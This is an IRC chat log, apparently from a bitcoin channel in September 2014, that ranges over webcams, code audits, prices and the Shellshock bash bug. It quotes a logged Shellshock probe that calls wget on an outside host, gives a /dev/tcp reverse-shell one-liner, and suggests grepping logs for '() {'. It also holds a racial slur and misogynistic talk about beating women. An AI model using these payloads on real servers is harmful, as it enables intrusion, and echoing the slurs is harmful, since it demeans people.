kakobrekla: ip camera in bedroom, always a good idea.
rithm: http://nsasimulator.com/webcam.php?camid=368
assbot: NSA Simulator - Watch Live Security Cams!
rithm: ^ super creepy
kakobrekla: yup: https://twitter.com/ToneMartinjak/status/514959965585682433
assbot: Objavljam vse 3 slike spalnic, opozorite prizadete, RT po vai presoji http://t.co/GOaDEu8r16
ThickAsThieves: so it begins http://www.coindesk.com/huobi-sends-400k-wrong-user-accounts/
assbot: Huobi Sends $400k to Wrong User Accounts
bounce: looking at cameras makes you a "hacker" now. what does that these peeps make? they SCRIPTED the looking at security cameras. surely that's EXCEPTIONAL SKILL and so they're not merely HACKERS, they're VERY DANGEROUS UBERHACKERS
ThickAsThieves: someone called them hackers?
kakobrekla: ok so: which animal typed this: <iNanca> cndjkfhuasdy
ThickAsThieves: also, i'm okay with "hacker" meaning someone who can hack shit together to do rare shit
bounce: that nsasimulator site, first paragraph, last sentence
ThickAsThieves: technicality really, he never says the hackers need to hack
ThickAsThieves: only that hackers are the demo that would do it ;)
bounce: since they clearly did it...
ThickAsThieves: i think you need to brace yourself for the broader definition of hacking
ThickAsThieves: it's only going to get looser
bounce: we're already there. "hacker" means "cyberbogeyman" now.
ThickAsThieves: in 20 years, hacking will mean learning or doing anything useful
ThickAsThieves: yo you hacked the english language and can read?!
bounce: it'll be reviled all the same. you can read? therefore you are a hacker. therefore you lose your fourth amendment rights.
mats_cd03: this nonversation about definitions was old twenty years past
mats_cd03: language drifts news at 11
ThickAsThieves: nothing is new, news at bigbangoclock
bounce: tsunamis have happened for aeons. yet we like forewarning and protection. youse a bunch of nimby sayers, mats says. no fighting the inevitable!
bounce: the deeper problem with the terminology is that it no longer means anything useful and so gets used like the smurfs use smurfing. and lo and behold, the computer security is just about as useful.
bounce: s/security/& industry/
chetty: or, the inevitable is the only thing worth fighting
ThickAsThieves: like anything is really secure anyway...
chetty: does security exist in nature?
bounce: that's a really strong argument. fits just about anywhere. "can't have 100% security anywhere, might as well give up".
ThickAsThieves: so touchy today
bounce: and hello ad hominem. noted.
ThickAsThieves: well it's relevant, no? You are behaving the same as what pisses you off. Broadening definitions to suit your degree of being offended.
bounce: I am? show how.
ThickAsThieves: just because i suggets nothing is "really secure" does not mean that I am saying security is a waste of time
bounce: the "anyway" did that pretty much, yeah
ThickAsThieves: says you
bounce: well, who were you talking to then?
mike_c: meet behind the school at noon
ThickAsThieves: i was only pointing out that the illusion of security most people hold is long gone
ThickAsThieves: and then some
ThickAsThieves: in regards to computers/internet
ThickAsThieves: none of my comments on the state of security were meant to comment on how bounce does security or about what bounce thinks about security
ThickAsThieves: i apologize for such a broad stroke if they seemed otherwise
bounce: well, that's the problem innit? people still pay for security (see size of computer security industry) yet are getting none, or at least much less than they should be getting
mats_cd03: i delay the battles i cannot win and fight with haste otherwise
ThickAsThieves: bounce, i cant argue with that
ThickAsThieves: anything "canned" seems to be toxic
bounce: now it would help if we can properly articulate what ails us. but we can't, because the terminology has been deliberately confused and watered down and broadened and stretched (by the industry) so as to spread FUD more effectively
mats_cd03: and on the subject of fighting...
mats_cd03: Sept. 23: ISIL compound strike: http://youtu.be/0bpakeG9x7o first f-22 combat op
assbot: Sept. 23: ISIL compound strike - YouTube
mats_cd03: war porn.
jurov: is anyone willing to pay "we have read the code for you" kind of security?
rithm: probably not tbh
ThickAsThieves: if i were to attempt articulating it, I'd say it's a focus on convenience over robustness, ignorance over understanding, etc
bounce: it's a bit like... well, calling everyone who does anything wrong a "wrongdoer", regardless of the details of the crime. do that consistently and there's no discernible difference between a mass murderer and a petty thief, or even someone telling you you left the keys in the door and don't forget to close up, guv.
jurov: redhat would be in a position to do it..but perhaps their current bezzle makes better $$$
ThickAsThieves: i often think about that, how the hell can someone who cannot/willnot read code, ever be the steward of a software project safely?
bounce: plenty money hiring people to do the reading and lots of lawyers to paper over the obvious problems with threats of large fines
nubbins`: they key is "safely", and you have your answer :)
ThickAsThieves: all it takes is one rogue programmer to plant a shellshock, no?
mats_cd03: http://embeddedgurus.com/barr-code/2014/03/lethal-software-defects-patriot-missile-failure << floating point rounding error fatalities.
assbot: Lethal Software Defects: Patriot Missile Failure « Barr Code
jurov: ThickAsThieves huh? they do have people able to read the code. only currently they spew new one instead
assbot: [MPEX] [S.MPOE] 11600 @ 0.00075451 = 8.7523 BTC [+] {2}
ThickAsThieves: so who watches the watchmen?
mats_cd03: the watchermen ofc
ThickAsThieves: the radar detector detector!
bounce: so now you need a radar detector detector detector in your radar detector
mats_cd03: http://courses.cs.vt.edu/professionalism/Therac_25/Therac_1.html << other software related fatalities.
ThickAsThieves: is there a trustworthy wot-signed document of an auditor saying any version of bitcoin is safe?
nubbins`: who you gonna trust to audit it?
ThickAsThieves: tis the topic
nubbins`: surely not a company with employees
ThickAsThieves: i'm looking for an example
nubbins`: one of them could be rogue :0
jurov: you need multiple independent reports
nubbins`: hire pricewaterhousecoopers
ThickAsThieves: is there 1?
jurov: no one will risk their rep over C++ mess
ThickAsThieves: kinda funny tho, some people will say Armory, no, Electrum, no Mycelium, no Core, but none are audited anywhere
jurov: i have a little hope for haskoin, it's nicely done
nubbins`: http://dpaste.com/08S88J2
assbot: dpaste: 08S88J2: Patching #ShellShock in OS X
TomServo: Would an audit even be useful without a specification?
nubbins`: for my mac brethren
ThickAsThieves: like was said earlier, <+mats_cd03> i delay the battles i cannot win and fight with haste otherwise
ThickAsThieves: TomServo, my stance would be that any attempt to see how hard a wallet is would be a start
jurov: wallet isn't so hard
jurov: mining is crux of it
ThickAsThieves: like the guy who made that coin that instamined, and we discovered block reward just resets
ThickAsThieves: wtf else is waiting?
ThickAsThieves: or already being exploited?
ben_vulpes: <ThickAsThieves> i often think about that, how the hell can someone who cannot/willnot read code, ever be the steward of a software project safely? << for legacy projects i generally angle for an audit phase.
ben_vulpes: (paid, ofc)
nubbins`: i think i'm going to start only quoting the winkdex for the btc/usd price
nubbins`: just for a lel
ben_vulpes: how else am i to know what i'm getting into?
ThickAsThieves: ben_vulpes and how often does audit result in actual project being started from scratch to suit your team/current tech?
ben_vulpes: rarely
ThickAsThieves: how often do you find holes?
ben_vulpes: 't'ain't a security audit
ThickAsThieves: ah
ThickAsThieves: just assessment
mike_c: security audit is basically impossible.
ben_vulpes: say it again and again
ThickAsThieves: mike_c did you just say what i think you said?
mike_c: probably
ThickAsThieves: ;)
jurov: ;;later tell asciilifeform after seeing the lisp machine vid, i remembered there is a contemporary cpu with accessible microcode - transmeta crusoe. only problem i see they worked with torvalds not naggum... but maybe something can be salvaged?
gribble: The operation succeeded.
ThickAsThieves: i suppose it's not a job for auditors, it's a job for hackers
ThickAsThieves: pretty great argument for them really, not that it's a new one
ben_vulpes: <jurov> i have a little hope for haskoin, it's nicely done << last i checked it was just an rpc wrapper, has it grown much?
ben_vulpes sees prodnet and testnet
mike_c: i am a fan of the security bug bounties (if they are sizable). gives hackers a way to do their thing and get paid legally.
ben_vulpes: hm
jurov: in half a day i made it actually talk to altcoind (altcoiners, watch your .altcoin/debug.log ;) )
assbot: [MPEX] [S.MPOE] 5017 @ 0.00075473 = 3.7865 BTC [+]
jurov: i plan to try building full node, with atc the blockchain fits in memory
ben_vulpes: just need moar memory for btc :P
kakobrekla: how about btc testnet?
lobbes: http://phys.org/news/2014-09-black-holes.html
assbot: Researcher shows that black holes do not exist
ben_vulpes: ThickAsThieves: honestly it's a play to get some time to read the code and fuck around with tests before clients start asking for features.
lobbes: 'The paper, which was recently submitted to ArXiv, an online repository of physics papers that is not peer-reviewed' << hmm
ben_vulpes: there's this impossible-to-circumvent 60-hr onboarding window with new devs on old projects.
jurov: i like atc more, playing with real stuff
mike_c: ^ paging pankkake
kakobrekla: music to mps ears.
jurov: also, satoshi 0.9.x is incredibly paranoid, once you send malformed message it blocks you for several hours
jurov: atc is more slutty
ThickAsThieves: hehe
kakobrekla: tat a pimp nao
bounce: oh dear. no black holes. no singularity. then what of the technological singularity?
ThickAsThieves: 2 weeks
mats_cd03: youtu.be/vtKAsveYWAQ man does an explosive cartwheel
nubbins`: this black hold article sucks
nubbins`: they say black holes don't exist, but offer no explanation for what the things we've been calling black holes are
nubbins`: *hole
lobbes: and the paper wasn't even peer reviewed
bounce: not yet anyway
nubbins`: i'm going to submit a paper about how submarine sandwiches don't exist
mats_cd03: http://www.armytimes.com/article/20140923/NEWS08/309230066/Army-chief-Division-headquarters-will-deploy-soon-Iraq >> 1st Armored. give it a month before the dudes in kuwait make their way over. so much for leaving iraq...
assbot: Army chief: Division headquarters will deploy soon to Iraq | Army Times | armytimes.com
nubbins`: they can't form, the flour from the bread would get mixed in with the maynnaise
bounce: ``However, in her new work, Mersini-Houghton shows that by giving off this radiation, the star also sheds mass.'' -- so hawking radiation means you're looking at an imploding and evaporating ex-star
nubbins`: mats_cd03 dat perpetual war
ThickAsThieves: kate craig https://ip.bitcointalk.org/?u=https%3A%2F%2Flh5.googleusercontent.com%2F-M3N99L26AMU%2FT4FNacodciI%2FAAAAAAAAAPg%2FmR720LPenf8%2Fw1096-h822-no%2F2012%252B-%252B1&t=544&c=YkpXu6zoGvYYuQ
bounce: also, I'll peer review your paper in return for a couple subs
nubbins`: bounce: like courtney love?
mats_cd03: better than fighting american negroids i guess
nubbins`: tat that's a pretty fancy car to be crashing into a rock face
mats_cd03: dafuq is that link
ThickAsThieves: it's the mangirl that ran ciphermine
ThickAsThieves: and cipherbond
ThickAsThieves: is it really a fancy car? looks like a toy
nubbins` shrugs
nubbins`: weird shape, gotta be fancy
nubbins`: probably just a celica w/ a body kit or something
nubbins`: actually, is that an audio logo on the front wheel?
nubbins`: http://www.moibibiki.com/files/images/images640_/audi-r8-1.jpg
nubbins`: https://bitcointalk.org/index.php?topic=796300.0
assbot: [0/12] HODL silkscreened t-shirts
ThickAsThieves: being born on major US holidays is not allowed https://pbs.twimg.com/media/Bx8dlFWIQAEOzIZ.png
kakobrekla: 'hlod' is better.
mike_c: hilarious, but i'm with BingoBoingo on BTC tshirts
mats_cd03: protip - avoid us hospitals in july. new doctors are rotated in during that period.
nubbins`: protip: avoid US hospitals
kakobrekla: protip: avoid
nubbins`: protip:
mats_cd03: also, if you are poor or need superior treatment in a pinch, go to a va or teaching hospital.
nubbins`: calc 0.084457/[ticker --last]
asciilifeform: jurov: afaik transmeta microcode magic wasn't actually published. possibly (anyone who knows the truth - correct if wrong) - because it was not actually suited for anything but x86.
nubbins`: ;;calc 0.084457*[ticker --last]
gribble: 34.91030095
nubbins`: ;;remove 21497
gribble: Order 21497 removed.
nubbins`: ;;remove 21499
gribble: Order 21499 removed.
nubbins`: ;;view 21502
gribble: #21502 Thu Sep 25 00:54:36 2014 nubbins` SELL 1.0 100% Organic Cotton HODL t-shirt @ 0.084742 BTC (http://i.imgur.com/afcSgpjl.jpg)
nubbins`: there we go
The20YearIRCloud: What's hodl?
mats_cd03: redditard meme, i think
nubbins`: it's what you do instead of selling
nubbins`: mats_cd03 pretty much
nubbins`: https://bitcointalk.org/index.php?topic=375643.0
assbot: I AM HODLING
assbot: [MPEX] [S.MPOE] 10155 @ 0.00075014 = 7.6177 BTC [-] {2}
The20YearIRCloud: the joys of people making money off of memes
nubbins` nods slowly
nubbins`: people want the familiar
nubbins`: they're like birds, new things are scary
asciilifeform: bounce: people still pay for security (see size of computer security industry) yet are getting none << obligatory >> http://www.loper-os.org/?p=1299
assbot: Loper OS » Don’t Blame the Mice.
assbot: [HAVELOCK] [PETA] [PAID] 4.17445644 BTC to 1`149`988 shares, 363 satoshi per share
assbot: [HAVELOCK] [AM1] 5 @ 0.14479999 = 0.724 BTC [+] {2}
assbot: [HAVELOCK] [AM1] 5 @ 0.14499998 = 0.725 BTC [+] {2}
assbot: [MPEX] [S.MPOE] 7150 @ 0.00075473 = 5.3963 BTC [+]
mircea_popescu: ;;ticker
gribble: Bitstamp BTCUSD ticker | Best bid: 410.94, Best ask: 411.39, Bid-ask spread: 0.45000, Last trade: 411.4, 24 hour volume: 15061.17519887, 24 hour low: 400.0, 24 hour high: 433.0, 24 hour vwap: 415.60067359
nubbins`: "but paypal" etc
ThickAsThieves: give it a couple weeks
mats_cd03: i am rooting for 200 before xmas
mircea_popescu: 200 srsly ?
ThickAsThieves: not happening
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nubbins`: !b 3 ✂︎
mircea_popescu: if you're going there why not root for fiddy cent sdirectly.
nubbins`: for future reference
mats_cd03: that works for me too
nubbins`: where in the fuck did i put my soldering iron? srsly.
mircea_popescu: up someone's butt ?
nubbins`: nah i quit gov't work long ago
mircea_popescu: well you did say "in the fuck"...
nubbins`: be creative!
ThickAsThieves: lol
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mircea_popescu: !b 2 ✂︎
mircea_popescu: now THAT
mircea_popescu: 'll make you look bad tat :D
nubbins`: gotta be quick if you wanna !b
ThickAsThieves: the jig is up
nubbins`: gotta !b quick
mircea_popescu: you know that's what the tits command should be. !jig
ben_vulpes: urethrathermal cryptanalysis
mircea_popescu: jurov: emphasis theirs. dis gon b gud. <<< in that particular way...
ThickAsThieves: do we even haz tits anymoar?
ThickAsThieves: what was the command?
ben_vulpes: ThickAsThieves: jezz is around, and ozbot responds in pm, but it's not in chan.
Duffer1: .bait
ben_vulpes: !bait
ThickAsThieves: ah
ben_vulpes: ah yeah
ThickAsThieves: .bait
Duffer1: assbot hates our freedom
mircea_popescu: kakobrekla: o look, 1.271 << totally picked the wrong time to close down teh fund
ThickAsThieves: short everything
mircea_popescu: #bate
mircea_popescu: kakobrekla: barely over retard. <<< nah you're just too young to have a clear memory of the 90s :D
ThickAsThieves: interesting that throw this downturn, NMC has actually been the least affected
ThickAsThieves: through*
ThickAsThieves: nmc/btc i mean
mircea_popescu: ThickAsThieves: like i couldnt recognize my own sig... << the hand signature thing in the us is nuts by now.
ThickAsThieves: i was thinkin, why didnt they just scan forge it, cmon now
asciilifeform: mircea_popescu: http://www.itnews.com.au/News/396180,amazon-forced-to-reboot-ec2-to-patch-xen-bug.aspx << possibly relevant to your latest item
assbot: Amazon forced to reboot EC2 to patch Xen bug - Storage - News - iTnews.com.au
mircea_popescu: mats_cd03: but every contractor in the world is a miserable, lying thief. << because you pay upfront.
asciilifeform: likely, some bozo found (and used) a xen 'vm escape.'
mircea_popescu: i only pay on reception, and if acceptable. never had anything but the loveliest most serviceable contractors.
mircea_popescu: and if you can't find people who work like that, you're not in a good country to do business, quit the bezzlathron and move.
ben_vulpes: ThickAsThieves: doge is up
ThickAsThieves: to no good
mircea_popescu: lol
ben_vulpes: hue
mats_cd03: i can't afford to flee. i have yet to bump four digit vidya game coins.
assbot: [HAVELOCK] [B.MINE] [PAID] 1.27252613 BTC to 15`097 shares, 8429 satoshi per share
ThickAsThieves: you need 1000btc to move now?
asciilifeform: yes.
ThickAsThieves: oh you mean $1000btc
asciilifeform: both.
asciilifeform speaks for self
ThickAsThieves: ascii theyll never let you leave
mats_cd03: yes for the first, no for the second. 1000btc is my goalpost.
ThickAsThieves: russian cryptographer caught fleeing country
asciilifeform: ThickAsThieves: at present, the door opens when i open it. just end up having to go back inside to eat.
mircea_popescu: mats_cd03 owning like 1% of 1% of the world's currency ain't the worst fate.
ThickAsThieves: particularly when you consider how few will ever hold that many
mircea_popescu: ThickAsThieves: it's not a real man, it's face morph of all the men in their target audience <<< this. it's probably the real point of facebook.
mircea_popescu: "pay us money, you get a facemorph of all the people in your demo."
ThickAsThieves: currently about 1500 wallets with 1000+btc
ThickAsThieves: so maybe another 500 that split theirs up
ThickAsThieves: at most
ThickAsThieves: or -500 for multiple wallets being the same owner
mats_cd03: my principle concern is getting to 1000btc. i don't know if it can be done, at the current rate of career progression... i need a better job.
ThickAsThieves: yeah i think this year's lows may never be seen again
asciilifeform: ThickAsThieves: they'll easily be seen again when another wretch, like dpr, is captured and sat upon an anthill until he coughs up private key
asciilifeform: and then buterin's waterfall, again.
ThickAsThieves: cept the floor keeps rising
mike_c: perhaps not. we didn't see double digits (yet) this year
ThickAsThieves: maybe if mp loses La Guerra Serenísima, or Satoshi needs some cash
mircea_popescu: asciilifeform this time they won't say.
mircea_popescu: they didn't understand there's a mp. it hurt. won't repeat mistakes next time.
asciilifeform still doesn't grasp why 'they said' last time.
mircea_popescu: idiots in charge.
mircea_popescu: anyone thinks they can do anything. all vanity, no humility, as if the latter's the sin and the former the virtue.
ThickAsThieves: tis bliss
ThickAsThieves: so bfl raid was real
nubbins`: so apparently they found a backdoor in the shellshock patch on github, hey?
nubbins`: lel jk
mircea_popescu: llol?
ThickAsThieves: every good backdoor has a backdoor
asciilifeform: called 'front door'
ThickAsThieves: funny they never call it that in sexual context
nubbins`: front-bum
nubbins`: back that front-bum up, etc
chetty: http://www.telegraph.co.uk/news/worldnews/southamerica/argentina/11121984/Argentina-uses-drones-to-root-out-wealthy-tax-evaders.html
assbot: Argentina uses drones to root out wealthy tax evaders - Telegraph
ThickAsThieves: top door
mircea_popescu: argentina has taxes ?!
kakobrekla: also chump-choppas
mircea_popescu: either someone on the ground here pulled a practical joke at the "media" expense, or else us folk running off to argentina is becoming a problem for the minitruth
rithm: http://blog.cogcoop.com/post/98395904605/love-will-inc-and-bitpay-at-georgia-tech
assbot: Gear Love Will Inc. and BitPay at Georgia Tech
rithm: The Love Will team presented students with information about Bitcoin transactions, mobile hot wallets, and rolled out their new ‘Jacket Wallet’, a customized Pheeva hot wallet, specifically for Georgia Tech students and faculty, available on android and in the app store soon. The team plans to create this type of customized wallet at every university that begins to accept Bitcoin on campus.
mircea_popescu: heh
rithm: i've been thinking bitpay's bowl gam sponsorship was a play to get bitcoin in ncaaa stadiums
rithm: now you got alumni doing the mit thing
rithm: the bitcoin society is most likely fraternal too if I had to bet
rithm: some type of judeo christian ritual involved
rithm: but now i sound like atlas
ThickAsThieves: ;;estimate
gribble: Next difficulty estimate | 34531182382.2 based on data since last change | 33722683398.9 based on data for last three days
bounce: waiting for the wealthy to hit back with an automated drone catcher to shoot the things out of the air
kakobrekla: https://i.chzbgr.com/maxW500/8328379648/h92418905/
asciilifeform: argentina drones, unregistered real estate << and none of this happened with ordinary piloted airplanes ?
asciilifeform: it is really a unique sort of retardation when people pretend like airplane was just invented now.
kakobrekla: mebbe its more fear of machines than taxes
kakobrekla: but combine the both and you get a selling sensation
bounce: of course they /could/ have done all that with ordinary planes, except rules. there's no rules for this yet, so some enterprising clerk or other can just order renting such a thing out of the petty cash.
chetty: you need an airplane to discover a house?
bounce: dunno. if it's large enough plots with lots of trees, maybe.
kakobrekla: prolly cheaper and perhaps safer?
kakobrekla: crashing plane vs crashing drone
Naphex: woot, so bash env backdoor, who would've tought :o
Naphex: people running CGI must be blowing their minds right now
jurov: ;;titlasers should be a thing
gribble: Error: "titlasers" is not a valid command.
nubbins`: WELL IT SHOULD BE
asciilifeform: ;;later tell ben_vulpes puzzle, because am n00b: http://imgur.com/a/JggcG << why does parting tool produce a spiral finish? and what determines the geometry of the spiral?
assbot: Why? - Imgur
gribble: The operation succeeded.
nubbins`: the bigger question is why you airbrushed your fingertips
asciilifeform: wanted to see if anyone would notice.
nubbins`: "those tippies are unusually smooth", i said to myself
asciilifeform: (fingers were already published, for anyone who needs my fingertips to unlock a nuke or whatever)
Naphex: !s inurl:cgi-bin
assbot: 0 results for 'inurl:cgi-bin' : http://search.bitcoin-assets.com/?q=inurl%3Acgi-bin
mike_c: inurl is optimistic.
mike_c: !s cgi-bin
assbot: 11 results for 'cgi-bin' : http://search.bitcoin-assets.com/?q=cgi-bin
mike_c: sweet, paypal!
Naphex: lots of .govs love it too
Naphex: they're quick to update
Naphex: inurl:cgi-bin env.pl - assume direct control
mircea_popescu: o look who's here
mircea_popescu: who's life Naphex
Naphex: i'm always here :P
Naphex: fine, pretty boring actually
Naphex: people be pentesting [25/Sep/2014:21:02:23 +0300] "GET http://www.btcxchange.ro/cgi-sys/defaultwebpage.cgi HTTP/1.0" 200 17528 "() { :;}; /usr/bin/wget http://shellshock.brandonpotter.com/report/HM05TTIHKJF2TA5QQGKEPR/Referer" "() { :;}; /usr/bin/wget http://shellshock.brandonpotter.com/report/HM05TTIHKJF2TA5QQGKEPR/User-Agent"
assbot: Whoops! Somebody divided by zero... | btcXchange.ro - Bitcoin Exchange Platform with 0% transaction fees
Naphex: what a stupid payload to even ping back
Naphex: could've just used a reverse echo "code" >& /dev/tcp/8.8.8.8/8080 0>&1
Naphex: instead of wget
asciilifeform: so when do we learn the name of the malicious-c-contest artist who gave us 'shellshock' ?
asciilifeform: (and yes - we know author of 'heartbleed.' and he's alive and well and still contributing code to public projects, afaik. why? don't ask me)
mircea_popescu: "Username/password combinations don’t cut it anymore, and Two-Factor authentication is a great way to help secure user accounts. If you have an account with a system that supports it, you should be using it."
mircea_popescu: from brandon potter's expertise den
jurov: https://www.mozilla.org/security/announce/2014/mfsa2014-73.html bad news come in pairs
assbot: MFSA 2014-73: RSA Signature Forgery in NSS
mircea_popescu: in unrelated news : i've added an email filter rule to drop anything with "bounce" in the headers. best rule ever.
mircea_popescu: jesus.
mircea_popescu: jurov PKI was unusable for reason of insecurity anway
mircea_popescu: ThickAsThieves: they wanna jedi mind trick the fappening and NSA etc << there's probably a feminst and an environmentalist somewhere in the us that actually will buy into it.
mircea_popescu: and they'll probably meet, and have a child.
mircea_popescu: and it'll have a funny little moustache.
asciilifeform: feminist environmentalist dies of contradiction - hormonal pills, pissed out into the ground water, destroying rare fish - etc.
jurov: http://bitstash.com/ such gems i keep finding today. hardened bluetooth!!1
assbot: BitStash
mircea_popescu: bounce: VERY DANGEROUS UBERHACKERS << ever see a woman with a little girl trying to cook while the little girl stirred some random items in a smaller pot immitating her ?
mircea_popescu: this is exactly what's going on. kids are wired to monkey, so they monkey.
asciilifeform: jurov: mega-lol! great find.
mircea_popescu: asciilifeform the guy is a 65 lb environmentalist vegan artist with a lot of etsy success, on lesswrong and patronize or w/e that donation site is.
asciilifeform: which guy
mircea_popescu: the feminist is a 650 lb mountain dew and icecream behemoth with a very popular twitter profile, and a lot of lj experience.
asciilifeform: aha
mircea_popescu: after he rolls her around in flour to see where it sticks they have long soulfull talk
asciilifeform: jurov: am i the only one who instantly thought 'dust bin' ?
mircea_popescu: and decide that condoms are bad for africa and pills bad for the environment
mircea_popescu: since they can't find a sponge that comfortably fits a calender
mircea_popescu: they end up having kids.
jurov: asciilifeform: me too. but that's the usg-approved look
asciilifeform: i finally realized - they cribbed the 'dust bin' from -- apple.
asciilifeform: (who, of late, have actually been selling a computer in that shape.)
mircea_popescu: who's dekker3d
mircea_popescu: ;;seen Dekker3D
gribble: Dekker3D was last seen in #bitcoin-assets 11 weeks, 4 days, 0 hours, 40 minutes, and 47 seconds ago: <Dekker3D> I remember someone who used this.
mircea_popescu: weird.
mircea_popescu: mats_cd03: language drifts news at 11 << language drifting so as to serve the interests and needs of the upper class is fine.
mircea_popescu: this bullshit where the lower classes are pushing the language out of shape because they're filthy and stupid can not be tolerated.
mircea_popescu: not all language change is created equal.
mircea_popescu: chetty: does security exist in nature? << yes, actually. entropy securely flows one way, and god help you if you mess with mass conservation.
mircea_popescu: mike_c: meet behind the school at noon << yo!
mike_c: seemed to be heading that direction :)
mircea_popescu: mike_c
mircea_popescu: oops
asciilifeform: http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3505#p23987 << mega-lol
assbot: KernelMode.info • View topic - Linux/Bash0day alias Shellshock alias Bashdoor
mircea_popescu: bounce: now it would help if we can properly articulate what ails us. but we can't, because the terminology has been deliberately confused and watered down and broadened and stretched (by the industry) so as to spread FUD more effectively << you are very naive to imagine the terminology has anything to do with it. point in case : if in a room with a woman that wants to fuck me, i don't need to speak her language. point
mircea_popescu: ing even may be an excessive requirement. if on the other hand in a room with a woman that doesn't want to, you can be e a poe for all the good it'll do you.
mircea_popescu: this is exactly the case in here. to imagine one can somehow magically learn "the language" without a) passing the requisite tests and b) interiorising the culture that spawned that language is naive. and if a and b is satisfgied, the form of language is really moot anyway.
mircea_popescu: the variety speak is not the words, it's the variety.
mircea_popescu: which is why you can have good programmers that speak english, russian or whatever else natively, as well as c or lisp or whatever else ; but you can't make someone a good programmer by teaching him to say i++;
mircea_popescu: people figured it'd work maybe if you not teach him to say goto 10
mircea_popescu: but really, that's just as much nonsense.
wywialm: mircea_popescu, that sounds very much like Wittgenstein - correct me if i'm wrong
mircea_popescu: it'd better, inasmuch wittgenstein was right :)
mircea_popescu: for that matter, it's a direct pastiche of knight, “You cannot fix a machine by just power-cycling it with no understanding of what is going wrong.”
wywialm: I recall something close stated in Investigations, in the flavour of "the meaning is use"
mircea_popescu: wywialm no, you're right, it's just... it's a fundamental idea that saw much expression.
mircea_popescu: "map is not the territory", "stat rosa pristina nomine, nomina nuda tenemus", pick your poison.
wywialm: Oh, yeah. In this we certainly agree
kuzetsa: Naphex, asciilifeform: yeah... I've had to stop neglecting a production server and finally run updates today because of shellshock :(
mircea_popescu: jurov: is anyone willing to pay "we have read the code for you" kind of security? <<< yes. but it's like the case with drinking water : people ARE wiling to pay for drinking water ; people are not willing to pay to have a dam constructed.
mircea_popescu: so if your per line price can be few enough satoshi, this is a valid business model.
asciilifeform: obligatory:
asciilifeform: http://underhanded.xcott.com
assbot: The Underhanded C Contest
Naphex: kuzetsa: you should check logs, make sure you're not owned
Naphex: grep for "() {"
asciilifeform: mircea_popescu: code auditing without a serious 'poison pill contract' turns into 'elephant repellant.'
mircea_popescu: jurov: redhat would be in a position to do it << redhat is a usg subcontractor. this is like saying goldman sachs is in a position to break the aml/kyc bullshit ring.
mircea_popescu: no, they aren't ; if they were it'd be suicidal.
mircea_popescu: asciilifeform the wot is the poison pill.
mircea_popescu: consider the culture shock a certain justin o'connell endured at my hands : http://trilema.com/2014/so-the-dollar-vigilante-scam-ring-is-going-to-jail/#comment-108121
assbot: So the Dollar Vigilante scam ring is going to jail. pe Trilema - Un blog de Mircea Popescu.
mircea_popescu: he lives in a world where being a scummy fuckwit is okay, because everyone is a scummy fuckwit.
mircea_popescu: the wot cuts right through that.
mircea_popescu: all the current fucktards calling themselves "developers" would find themselves in the positon of taaki, maxwell et co stat, once someone started leveraging that model aginst their scummy, indolent, ignorant idiocy.
mircea_popescu: once the "you have one chance, don't fuck it up" model gets implemented universally, we'll have a wholesale return to the pleasant mores of the society constructed on enforcing the same principle upone women only.
asciilifeform: security by auditing extant mega-turds is rather like muscle-powered airplane
mircea_popescu: except, twice as much, plus all the other benefits of not having to deal with the insane arbitrariety of only doing it to half the population
asciilifeform: yes, they exist. yes, olympic athletes have lifted two metres high for two minutes.
mircea_popescu: asciilifeform all flight started with the galley slave.
mircea_popescu: the reason airbus is a thing is because the romans forced men to push oars.
mircea_popescu: 2k years ago
asciilifeform: yes - but where are the oars on 'airbus' ?
mircea_popescu: same place your elithrae are.
mircea_popescu: just because they meanwhile fell off doesn't mean you didn't need them to get here.
asciilifeform: mircea_popescu: the basic problem is that anyone who tells you that he can do this job - is a liar, right off the bat
mircea_popescu: i don't think you properly understand grinding.
asciilifeform: so you end up with a sub-wot for this that's 100 percent scammer by weight.
mircea_popescu: in order for the job to be done, nobody needs to do it.
asciilifeform: nothing to distill.
mircea_popescu: which stone in the roller made the quartz round ?
mircea_popescu: you don't need round stones to produce round stones. you just need a rotative process.
asciilifeform: which stone in the roller << this is the basic premise behind 'many eyes' theory, - and we know it is empirically false.
mircea_popescu: it's only empirically false because it's so easy to lie.
mircea_popescu: sign where you read. no longer false.
mircea_popescu: let's model this. people with young children go camping. 20 adults, 10 children. case 1, "people generally" look after the kids.
mircea_popescu: they come home with eight in the best case.
mircea_popescu: case 2, every hour of the day one adult is in charge of watching the kids. if anything happens he's in for murder.
mircea_popescu: unless a meteor falls, they're coming home with 10 kids.
mircea_popescu: there's no such thing as "the army is generally watching the surroundings". no dude, sentinels, since 2000 years ago and never with an exception since.
mircea_popescu: in fact, it's the sentinels that distinguish army from band of drunken revelers.
asciilifeform: mircea_popescu: different gedankenexperiment. take redditgurlz, say a dozen. lock them in a dungeon, no food until invent hydrogenbomb.
asciilifeform: do you get bomb ?
mircea_popescu: i will, yes.
mircea_popescu: as long as you let me beat them selectively i'll have my bomb, and some adoring princesses to follow me around to boot.
asciilifeform: russian saying 'you can't mold a bullet from shit' isn't strictly true - you could, had you sufficient energy, convert the shit into diamond and have bullet
mircea_popescu: quite
mircea_popescu: besides. there's iron in the heme that the shit is mostly comprised of.
asciilifeform: but if engineer tells you this, you will kick him.
mircea_popescu: depends of the context.
asciilifeform: context of 'i need a box of bullets'
mircea_popescu: the goal is not the context.
mircea_popescu: if he says this sitting right next to a lathe i'm going to smack his head on the lathe.
mircea_popescu: if in a worldwide septic tank, we're going for it.
mircea_popescu: you, in fact, are currently and have been for a year, molding a bullet.
mircea_popescu: out of...
asciilifeform: piss.
asciilifeform: not easy.
mircea_popescu: whether to make the piss freeze or to try and electrolytically separate iron from shit is an exercise left for the engineer.
asciilifeform: notice that the analogy is closer than one might like
asciilifeform: to create the bullet from shit-diamond, it is necessary to remove most of the extraneous matter.
kuzetsa: [14:59:14] <+Naphex> kuzetsa: you should check logs, make sure you're not owned << logs of what?
asciilifeform: conceivably, most of the mass present.
mircea_popescu: asciilifeform selective beating is selective beating. people adapt, young people especially so, women most of all.
mircea_popescu: kuzetsa the server in question ?
mike_c: these methods (beating, wot, etc) could be applied to new software
mike_c: if i wrote a new btc wallet (or managed development thereof), it would be secure for fear of above methods
kuzetsa: mircea_popescu: but... I don't have any cgi on the httpd, nor are any of the other daemons the sort which use environment variables to pass stuff around (using bash or otherwise)
mike_c: but to audit existing btc wallet? forget it.
mircea_popescu: mike_c notice how little beating is actually needed, among civilised adults that interiorise the wot model.
Naphex: apache still passes stuff through env by default
mircea_popescu: kuzetsa reading logs never killed anyone.
Naphex: but it should be no problem unless thet env hits apache
kuzetsa: Naphex: I don't use apache
